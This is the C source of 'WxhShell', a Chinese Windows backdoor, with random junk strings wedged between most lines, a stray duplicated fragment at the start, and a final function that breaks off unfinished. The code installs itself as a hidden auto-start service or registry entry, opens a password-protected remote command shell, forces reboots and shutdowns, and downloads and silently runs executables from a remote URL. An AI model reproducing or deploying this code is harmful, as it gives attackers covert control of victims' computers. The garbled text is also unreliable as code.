^x if(NULL == hInst ) return 0; o'<^LYSnB bOp54WI-g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y7i %W4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FSuAjBl0- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i JxQB\x $QEilf;E if (!NtQueryInformationProcess) return 0; /%aiEhL Syp"L;H8Em hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7r+g8+4 if(!hProcess) return 0; ZI;<7tF_z hd V1nS$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P|2E2=G %Pqk63QF CloseHandle(hProcess); j;_c+w!P Q zZ;Ob]' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :4S%'d7 if(hProcess==NULL) return 0; pCpb;<JG 4F>Urh+ HMODULE hMod; t&Os;x?To? char procName[255]; /y7M lU9 unsigned long cbNeeded; 9mc!bj^811 W>(/ bX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ./j,Z$| |wEN`#.;b CloseHandle(hProcess); o'~5pS(wq ;|p$\26S)% if(strstr(procName,"services")) return 1; // 以服务启动 K
]OK:hY4 Uawpfgc} return 0; // 注册表启动 "N:XzG } :!;'J/B@.. yL^UE=#C_ // 主模块 +`M!D }! int StartWxhshell(LPSTR lpCmdLine) C'=k<- { {y] mk?j SOCKET wsl; '$As<LOEd/ BOOL val=TRUE; Q(d9n8 int port=0; rKHY?{! struct sockaddr_in door; Fhz*&JC# l:6,QaT1 if(wscfg.ws_autoins) Install(); ffXyc2o }u+a<:pkK port=atoi(lpCmdLine); 6<,dRn m]_FQWfet if(port<=0) port=wscfg.ws_port; qQi.?<d2"s thO ~=RB WSADATA data; Ko&hj XHx if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .I VlEG0 3bqC\i^[\m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; m+{K^kr[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =@u 5|: door.sin_family = AF_INET; dLsn\m> door.sin_addr.s_addr = inet_addr("127.0.0.1"); xCzebG[" door.sin_port = htons(port); b96%") B()/.w?A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fW`&'! closesocket(wsl); kY,U8a3! return 1; 1C Pjil*eb } Iq+>qX D47R if(listen(wsl,2) == INVALID_SOCKET) { .*$OQA closesocket(wsl); /:<IIqO. return 1; _UE)*l m+ } z|?R/Gf8 Wxhshell(wsl); q1y/x@ WSACleanup(); 1iL'V-y 7f<EoSK return 0; 4`Nt{ ;TcvA } /sR%]q
|L v{i7h|e // 以NT服务方式启动 =.|J!x VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OI}
&m^IOo { d0hhMx6$ DWORD status = 0; Y
$g$x<7 DWORD specificError = 0xfffffff; p\C%% Obw?_@X serviceStatus.dwServiceType = SERVICE_WIN32;
Z3;!l serviceStatus.dwCurrentState = SERVICE_START_PENDING; C 8#@+ Q. serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wOQ#N++C serviceStatus.dwWin32ExitCode = 0; <?D[9Mk$ serviceStatus.dwServiceSpecificExitCode = 0; IfO;S*Qt serviceStatus.dwCheckPoint = 0; *F>v]8 serviceStatus.dwWaitHint = 0; !@u>A_ 30PZ{c&Rll hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1tCQpf if (hServiceStatusHandle==0) return; #B'aU#$u + SZYg[ status = GetLastError(); 'B83m#HR# if (status!=NO_ERROR) q;5i4| { 6b8;}],| serviceStatus.dwCurrentState = SERVICE_STOPPED; EzW)'Zzw~ serviceStatus.dwCheckPoint = 0; Md)zEj`\ serviceStatus.dwWaitHint = 0; !KKT[28v serviceStatus.dwWin32ExitCode = status; o01kYBD serviceStatus.dwServiceSpecificExitCode = specificError; Mcw4!{l` SetServiceStatus(hServiceStatusHandle, &serviceStatus); n[Zz]IO,g return; , "jbq~ } K|C^l;M6 $@\mpwANl serviceStatus.dwCurrentState = SERVICE_RUNNING; yix'rA -T serviceStatus.dwCheckPoint = 0; :"6q,W serviceStatus.dwWaitHint = 0; | W$DVRA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l5Y/Ok0, } nfb]VN~( It_M@ // 处理NT服务事件,比如:启动、停止 @=w<B4L VOID WINAPI NTServiceHandler(DWORD fdwControl) `=#01YX[0 { Bhqft;Nuh switch(fdwControl) UH@as { 2:}fe} case SERVICE_CONTROL_STOP: QQk{\PV serviceStatus.dwWin32ExitCode = 0; eLwTaW !C serviceStatus.dwCurrentState = SERVICE_STOPPED; ;E~4)^ serviceStatus.dwCheckPoint = 0; K\[!SXg@ serviceStatus.dwWaitHint = 0; y AF+bCXo { ~5ZvOX6L2 SetServiceStatus(hServiceStatusHandle, &serviceStatus);
zJa)* N } jO9ip return; _FbC{yI8; case SERVICE_CONTROL_PAUSE: d-bqL:/ serviceStatus.dwCurrentState = SERVICE_PAUSED; ZaFb*XRgS break; s"=6{EVqk3 case SERVICE_CONTROL_CONTINUE: ?3z- _8# serviceStatus.dwCurrentState = SERVICE_RUNNING; k)S.]!u&G break; tg4Y i|5 case SERVICE_CONTROL_INTERROGATE: zWw2V}U! break; w)E@*h<Z }; VS#wl|b8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); QYXx:nIrg } 0YH+B {"*VU3%q // 标准应用程序主函数 "`}~~.q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p6EDQwlf { v,NHQyk 7Y=cn_
wU // 获取操作系统版本 d
{lP OsIsNt=GetOsVer(); ?:^mBb)T GetModuleFileName(NULL,ExeFile,MAX_PATH); n?#!VN3 0)YbI! // 从命令行安装 Nd:R"
p*8 if(strpbrk(lpCmdLine,"iI")) Install(); \u`)kJ5o1 :Ud[f`t // 下载执行文件 ]u-SL md if(wscfg.ws_downexe) { (VvKGh if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '"pd WinExec(wscfg.ws_filenam,SW_HIDE); 3[p_!eoW } 0uVv<Q~ -O:_!\uA
if(!OsIsNt) { hlvt$Jwq // 如果时win9x,隐藏进程并且设置为注册表启动 >,C4rC+:XN HideProc(); MB);!qy StartWxhshell(lpCmdLine); p\wJD1s } lM\LN^f5* else 'f8(#n=6qP if(StartFromService()) >Sk[vI0Y // 以服务方式启动 #)+- lPe StartServiceCtrlDispatcher(DispatchTable); fnzy5+9" else 1`f_P$&Z_J // 普通方式启动 @
\.;b9 StartWxhshell(lpCmdLine); ^s7,_!.Pq %kf>&b,Mi return 0; RKd } ydl jw 4kp im ?{o/I\\ [~5p>' =========================================== iWX c -y) ,Y
| /rB{[zk ${~|+zdB ,7]k fB X CB?ll*^ " r'/;O rt]S\
#include <stdio.h> oqkVYl E #include <string.h>
a<XCNTaVT #include <windows.h> =<f-ob8, #include <winsock2.h> j dut4 nFc #include <winsvc.h> `Y?t@dd #include <urlmon.h> CF
y}r(q $KV&\Q3\0 #pragma comment (lib, "Ws2_32.lib") <x%M3BTx #pragma comment (lib, "urlmon.lib") Dkw%`(Oh/, O[~x_xeW #define MAX_USER 100 // 最大客户端连接数 S{F-ttS" #define BUF_SOCK 200 // sock buffer 2)iD4G` #define KEY_BUFF 255 // 输入 buffer uE_c4Hp xc
1A$EY #define REBOOT 0 // 重启 jX=lAs~6 #define SHUTDOWN 1 // 关机 @
$cUNvI `cP <}^] #define DEF_PORT 5000 // 监听端口 \L!uHAE2a S^RUw #define REG_LEN 16 // 注册表键长度 r2*<\ax #define SVC_LEN 80 // NT服务名长度 )9"oL!2h :LJ7ru2 // 从dll定义API :bM+&EP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Q
e~)7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hy;Hs# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y8s;w!/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{E9v`u\ ~9pM%N
V // wxhshell配置信息 l?N`{,1^ struct WSCFG { bPD)D'Hs int ws_port; // 监听端口 9
wa,k char ws_passstr[REG_LEN]; // 口令 ]o.vB}WsY int ws_autoins; // 安装标记, 1=yes 0=no \9c$`nn char ws_regname[REG_LEN]; // 注册表键名 ,+/zH'U} char ws_svcname[REG_LEN]; // 服务名 ;|ub!z9GG char ws_svcdisp[SVC_LEN]; // 服务显示名 >G)qns9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 dT@UK^\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _]#klL int ws_downexe; // 下载执行标记, 1=yes 0=no =6nD0i9+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S4vbN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 85U.wpG _"f :` }; 3*S[eqMJc Ng<1Sd|MV // default Wxhshell configuration ~&G4)AM struct WSCFG wscfg={DEF_PORT, $`Nd?\$ "xuhuanlingzhe", '8`T|2 1, tn<6:@T
"Wxhshell", M8W# io "Wxhshell", j\)H "WxhShell Service", W*T{,M@Y "Wrsky Windows CmdShell Service", -/{af "Please Input Your Password: ", <HoAj"xf 1, I=dGq;Jaz "http://www.wrsky.com/wxhshell.exe", ?qHF}k| "Wxhshell.exe" eMMx8E)B }; pu;3nUH 9/TY\?U // 消息定义模块 <bmLy_": char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hq_~^/v\ char *msg_ws_prompt="\n\r? for help\n\r#>"; )@7DsV/M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ija:H'j char *msg_ws_ext="\n\rExit."; s"#]L44N char *msg_ws_end="\n\rQuit."; &~~s6
char *msg_ws_boot="\n\rReboot..."; P;91~``b- char *msg_ws_poff="\n\rShutdown..."; x!{ char *msg_ws_down="\n\rSave to "; D&{
*AH%Q b](o]O{v char *msg_ws_err="\n\rErr!"; D!FaE N char *msg_ws_ok="\n\rOK!"; ,"
R>}kPli KsdG(.I+ek char ExeFile[MAX_PATH]; TQ9'76INb int nUser = 0; 1p\Ak HANDLE handles[MAX_USER]; 7[o {9Yp& int OsIsNt; (Pi-uL<[a *3Nn +T
SERVICE_STATUS serviceStatus; E&2tBrAq SERVICE_STATUS_HANDLE hServiceStatusHandle; 3]}'TA`v (aKZ5>>cN // 函数声明 }5gr5g\OtP int Install(void); _vrWj<wyf int Uninstall(void); w=J4zkWk int DownloadFile(char *sURL, SOCKET wsh); T%I&txl int Boot(int flag); RsSXhPk? void HideProc(void); C ?7X"~~ int GetOsVer(void); I6dm@{/:> int Wxhshell(SOCKET wsl); d79N-O- void TalkWithClient(void *cs); vA?_-. J int CmdShell(SOCKET sock); n6f3H\/P& int StartFromService(void); #ooc)), int StartWxhshell(LPSTR lpCmdLine); f'{>AKi=C 'h*Zc}Q: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'U)8rR VOID WINAPI NTServiceHandler( DWORD fdwControl ); :m`/Q_y" gue(C(~.k_ // 数据结构和表定义 1L[S*X SERVICE_TABLE_ENTRY DispatchTable[] = Yo2Trh { )!-S|s' {wscfg.ws_svcname, NTServiceMain}, ~775soN {NULL, NULL} J?jeYW }; ,IjdO(?TC o/JPYBhdl // 自我安装 k&GHu0z int Install(void) a!t
V6H { *T4ge|zUc char svExeFile[MAX_PATH]; 5u,sx664 HKEY key; epVH.u% strcpy(svExeFile,ExeFile); YNM\pX' 8~5|KO >F // 如果是win9x系统,修改注册表设为自启动 XZO<dhZX: if(!OsIsNt) { OV|Z=EwJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yX9B97XyC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Mi6 RegCloseKey(key); M {x ie if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wItz cY1m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i QqbzOY RegCloseKey(key); D44I"TgqD return 0; G%OpO.Wf } k+\7B}7F } q3\!$IM. } I7Zq}Pxa else { 6y@<?08Q iEhDaC[e(b // 如果是NT以上系统,安装为系统服务 Yq;&F0paK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MVAc8d S if (schSCManager!=0) OK\]*r { M(S{1|,V SC_HANDLE schService = CreateService y h-9u ( >4'21,q schSCManager, r5)f82pQ wscfg.ws_svcname, A_Gp&acs$ wscfg.ws_svcdisp, =g2\CIlVU6 SERVICE_ALL_ACCESS, )dg UmN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0*{p Oe/u SERVICE_AUTO_START, Kq6qXc\x SERVICE_ERROR_NORMAL, WguV{#=H svExeFile, 6DZ2pT: NULL, a}D&$yz2 NULL, X,53c$ NULL, APuu_!ez1 NULL, Ph\F'xROe NULL DZAH"sb ); \[E-: if (schService!=0) =+Tsknq { ~[;{ CloseServiceHandle(schService); &|] Fg5 CloseServiceHandle(schSCManager); ^z?=?%{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R7t
bxC strcat(svExeFile,wscfg.ws_svcname); gD40y\9r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0C7" 3l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YD+QX@ RegCloseKey(key); I)uASfT$ return 0; 5oa]dco } Sl~C0eO } -(ER4# CloseServiceHandle(schSCManager); h=mv9=x } <on)"{W13 } mZ &] OAyE/Q| return 1; ?(M\:`G' } [M2Dy{dh oG9SO^v_ // 自我卸载 D2-O7e int Uninstall(void) <v-92? { "lb\c HKEY key; 6!o/~I# h@/>?Va if(!OsIsNt) { $pJ3xp& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {Bv`i8e RegDeleteValue(key,wscfg.ws_regname); kjfxjAS=m RegCloseKey(key); 3~8AcX@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ri;r7Y9V9` RegDeleteValue(key,wscfg.ws_regname); '4Y*-!9 RegCloseKey(key); |W/Hi^YE2 return 0; ~l@%=/m } {.%0@{Y } /iTH0@Kw; } N}1-2 else { .y(@Y6hO n/:Z{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :'TX"E! if (schSCManager!=0) @~Rk^/0 { ?##y`.+O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -kt1t@O if (schService!=0) _2x uzmz0 { @u7%B}q7: if(DeleteService(schService)!=0) { vV2o[\o^ CloseServiceHandle(schService); %hrsE5k^, CloseServiceHandle(schSCManager); RH1U_gp4 ] return 0; |c
BHBd } Zj5NWzj
X CloseServiceHandle(schService); pzYG?9cwz } !vi4*
@: CloseServiceHandle(schSCManager); )z|_*||WU^ } J\9jsx!WQ } `_6@3-% a:wJ/ p return 1; *GB$sXF } 8cequAD g8B&u u # // 从指定url下载文件 P/HHWiD`D int DownloadFile(char *sURL, SOCKET wsh) ],WwqD= { k0R,!F HRESULT hr; [ )B@ char seps[]= "/"; NF@i#: char *token; agGgJ@ char *file; I-j(e)P(o_ char myURL[MAX_PATH]; 6NP`P j R char myFILE[MAX_PATH]; Gf!t< =T !$4Q]@ } strcpy(myURL,sURL); 9,}fx+^ token=strtok(myURL,seps); G;Pt|F?c while(token!=NULL) PP~CZ2Fze { t4*aVHT file=token; /<Gyg7o0 token=strtok(NULL,seps); 4j2~"K } UEk|8yq 7UY('Q[ GetCurrentDirectory(MAX_PATH,myFILE);
pyGFDB5_P strcat(myFILE, "\\"); &FT5w T strcat(myFILE, file); qLU15cOM send(wsh,myFILE,strlen(myFILE),0); Ul7,k\q@ send(wsh,"...",3,0); ||bA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3ytx"=B% if(hr==S_OK) 5QCw5N return 0; 8kKRx else yKel|vM# return 1; @D( KuF \r)_- } * <Nk%` ajg7xF{l) // 系统电源模块 EVby 9! int Boot(int flag) XL%vO#YT { sf=%l10Fk# HANDLE hToken; .CB"@.7 TOKEN_PRIVILEGES tkp; LD7? . G=+!d&mbg if(OsIsNt) { R|d^M&K, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i|::vl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j=zU7wz)D tkp.PrivilegeCount = 1; Y,p2eAss tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @8T
Vr2uy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qhv4R| ) if(flag==REBOOT) { il 8A&`% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P W0q71 return 0; w0F:%:/ } m7bn%j-{$f else { |^>L`6uo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^$g],PAY return 0; A@fshWrl% } J?UZN^ } "1=.5:yG else { T% jjs if(flag==REBOOT) { e%5'(V-y, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \ZmFH8=|f return 0; ^Hy)<P } ?kG#qt]Q5 else { &z1| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^loF#d=s return 0; |R:v< } 3tx0y } _AsHw D:S6Mu return 1; j.G.Mx" } Gff[c%I hA&j?{ // win9x进程隐藏模块 UGezo3} void HideProc(void) H_xQ>~b { a`GN@
8 E:LQ! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9|?(GG if ( hKernel != NULL ) ;Fwm1ezx0 { nATfmUN
L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HT1dvC$COo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LmT[N@>" FreeLibrary(hKernel); 8{U]ATx'( } !Barc,kA C$]%1<-Iv] return; ,sQ0atk7ma } Ra15d^ 2rE~V.)% // 获取操作系统版本 H8Z Z@@ qm int GetOsVer(void)
!EyGJa[i { 8M(|{~~3: OSVERSIONINFO winfo; is_dPc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q'%5"&XFD GetVersionEx(&winfo); A(!ZZ9Wc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nP3;<*T P0 return 1; bl!f5RO S( else GhfUCW% return 0; u3v6$CD? } v1tN
DyM6 6{,K7FL // 客户端句柄模块 }G:uzud10 int Wxhshell(SOCKET wsl) S<bz7
k9 { 1Ag ;s SOCKET wsh; J=Y( *D7Q struct sockaddr_in client; [?K\%] DWORD myID; zi DlJ3]^ {"@b` while(nUser<MAX_USER) r&l*.C* { Q i'WV9ke int nSize=sizeof(client); ,VcDvZ7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^:rNoo if(wsh==INVALID_SOCKET) return 1; GJl@ag5h]! +8@`lDnr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &l!{!f4 if(handles[nUser]==0) po](6V closesocket(wsh); { ves@p>? else 35]G_\ nUser++; {dr&46$p } zL!~,B8C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (gJ
)]/n .8uwg@yD return 0; F>oxnhp6 } t5B|c<Hb\ 7)6Yfa]I% // 关闭 socket [E
:`jY void CloseIt(SOCKET wsh) d ;7pri)B { =QKgsgLh closesocket(wsh); SYW=L nUser--; 1j)!d$8 ExitThread(0); :"+UG-S$6 } meVVRFQ2+ G]NtX4'4 // 客户端请求句柄 >7Sl(
UY- void TalkWithClient(void *cs) 6+f>XL#w { _2Xu1q.6~5 m-KK
{{ SOCKET wsh=(SOCKET)cs; elHarey`f char pwd[SVC_LEN]; LXfeXWw?, char cmd[KEY_BUFF]; { `|YX_HS char chr[1]; ,5+X%~' int i,j; 'LLQ[JJ=O -$MC while (nUser < MAX_USER) { "i<3}6/* MHT,rqG if(wscfg.ws_passstr) { w5/X{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); en#g<on //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )PoI~km //ZeroMemory(pwd,KEY_BUFF); U.j\u>a i=0; ,m'#>d&zO while(i<SVC_LEN) { /B?SaKh Jc#)T;#6 // 设置超时 }ok
nB fd_set FdRead; /E
yg*# struct timeval TimeOut; ?m
r@B FD_ZERO(&FdRead); huD\dmQ:] FD_SET(wsh,&FdRead); Rc.<0# TimeOut.tv_sec=8; }GNH)-AG)$ TimeOut.tv_usec=0; n; '~"AG) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'GdlqbX(% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .yh2ttf<gB {S:3
FI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uV$d7(N}" pwd=chr[0]; &*:)5F5 if(chr[0]==0xd || chr[0]==0xa) { 7LZb*+> pwd=0; ].T;x| break; 5!Mp#lO } C`T5d i++; h/bYtE } ?UhAjtYIS |iJZC // 如果是非法用户,关闭 socket }/}`onRZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eHyuO)(xH1 } oYm{I ~" \V-
Y,!~5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); it|:P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]}L1W`n #V,~d&_k while(1) { xjk|O;ak S^`9[$KH0 ZeroMemory(cmd,KEY_BUFF); Ty|c@X U)=Z&($T // 自动支持客户端 telnet标准 h)RM9813< j=0; H_f2:Za while(j<KEY_BUFF) { <WKz,jh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
j.v _ cmd[j]=chr[0]; Y'%Iat(z if(chr[0]==0xa || chr[0]==0xd) { ^F0jI5j ). cmd[j]=0; [)6E)E`_e break; @' :um } ^^Q32XC, j++; 8jGoU9 } `ip69 IF2* %f(.OR)6{ // 下载文件 |oi49:NXn if(strstr(cmd,"http://")) { v6Wf7)d/1 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9@*>$6 if(DownloadFile(cmd,wsh)) 0bL=l0N$W send(wsh,msg_ws_err,strlen(msg_ws_err),0); UT7lj wT else sW3D
(
n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oc%le2 } ~{$'s p0 else { Z4zMa& G.ARu-2's switch(cmd[0]) { yf^gU* eV+wnE?SB5 // 帮助 ly5L-=Xb case '?': { M@[gT?mv1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]@T `qR break; X1qj
l_A } N ^`Efpvg // 安装 >mSl~.I2 case 'i': { #@"rp]1xv if(Install()) >ZsK5v send(wsh,msg_ws_err,strlen(msg_ws_err),0); w7V
W else +NMSvu_? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'm%3 break; %--5bwZi } 4\WkXwoqQO // 卸载 buyz>ICP case 'r': {
!@1!ld if(Uninstall()) cU[pneY send(wsh,msg_ws_err,strlen(msg_ws_err),0); b>._ r&. else n:)Y'52} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {X"]92+ break; dg8\(G } E?o8'r // 显示 wxhshell 所在路径 pra&A2Y\ case 'p': { <bppu>& char svExeFile[MAX_PATH]; r:Cid*~m strcpy(svExeFile,"\n\r"); \1_&?(pU strcat(svExeFile,ExeFile); [M>_(u6 send(wsh,svExeFile,strlen(svExeFile),0); [+7X&B break; y~1php>2f1 } M<pgaB0 // 重启 ?y@pRe$2 case 'b': { '2{o_<m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nE%qm - if(Boot(REBOOT)) V7i`vo3Cc send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKeh9 Bt else { <u/({SZ& closesocket(wsh); Md{f,,E'^@ ExitThread(0); tJ=zk3BN~ } K%Ml2V
break; 3_/d=ZI\ } !PbFo%) // 关机 ka[NYW{. case 'd': { P*sCrGO% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Sd11ZC6 if(Boot(SHUTDOWN)) e 3oIoj4o send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Vu:yh\< else { t4uxon closesocket(wsh); 7J/3O[2 ExitThread(0); Xxw.{2Ji!q } :\RB ^3; break; n8,/olqwW } QV1%Zou // 获取shell [} 3Y1t{G case 's': { ^Tmmx_Xw CmdShell(wsh); 6nhB1Aei closesocket(wsh); 8;rS"!qM ExitThread(0); {4*%\?c,n break; \zyGJyy. } xbA2R4| // 退出 &t4(86Bmq case 'x': { Vd~k4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8=uljn/ CloseIt(wsh); 0[Aa2H* break; h 42?^mV4? } ;Yj&7k1 // 离开 FFGTIT# {" case 'q': { i[J', send(wsh,msg_ws_end,strlen(msg_ws_end),0); %R>MSSjvr closesocket(wsh); GjBQxn WSACleanup(); R?I3xb exit(1); VTa8.(i6v break; S0yT%V } uM#/ } mQJ GKh&Pk } dGjvSK<1@ K2Zy6lGOZ // 提示信息 I*"]!z1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;'}xD5] } B;Vl+}R } Jsl,r+'H R)z|("%ec return; s#3{c@^3 } :8g \B{ oY:>pxSz<@ // shell模块句柄 [Ma9 int CmdShell(SOCKET sock) ]W,g>91m { m\=u/Zip STARTUPINFO si; V y$\.2= ZeroMemory(&si,sizeof(si)); lhU# /}Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %e(,PL si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gK'MUZ() PROCESS_INFORMATION ProcessInfo; rO GJ%|%( char cmdline[]="cmd"; 3}Pa,uN CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xs/hqIXB return 0; K(^x)w r-: } }{"\"Bn_ ;z#9>99rH // 自身启动模式 TXM.,5Dx\ int StartFromService(void) *(rE< { ^9i^Ci9 typedef struct * ?K=;$ { (ym)q#^ DWORD ExitStatus; I$&/?ns@O DWORD PebBaseAddress; PhQD}|S DWORD AffinityMask; M}>q> DWORD BasePriority; JQqDUd ULONG UniqueProcessId; 2StpcAlU} ULONG InheritedFromUniqueProcessId; n_Z8%|h } PROCESS_BASIC_INFORMATION; c=gUY~Rl pFuQ!7Uk PROCNTQSIP NtQueryInformationProcess; $O#h4L_ kH'Cx^=c6h static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '%,Re-8O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %j,Ny}a 7blZAA?- HANDLE hProcess; ='FEC-f95 PROCESS_BASIC_INFORMATION pbi; <~3 aaO Cnolka" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cD\Qt9EI if(NULL == hInst ) return 0; h;6@-\6 BI
s! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Z)s'd. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8"@<s?0\" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &zR}jD>
,Xw/
t> if (!NtQueryInformationProcess) return 0; m`|Z1CT 1NTe@r!y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U7W ct % if(!hProcess) return 0; 6!$S1z#wM bu.36\78 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;"3Mm$ .&ZVy{uP CloseHandle(hProcess); {:Q2Itsy |Yx8Ez hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :1iw_GhJf if(hProcess==NULL) return 0; O]>Or3oO A28w/=e7 HMODULE hMod; 3O.-'U1K char procName[255]; khR3[ju {^ unsigned long cbNeeded; I'gnw~ "~ /3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), 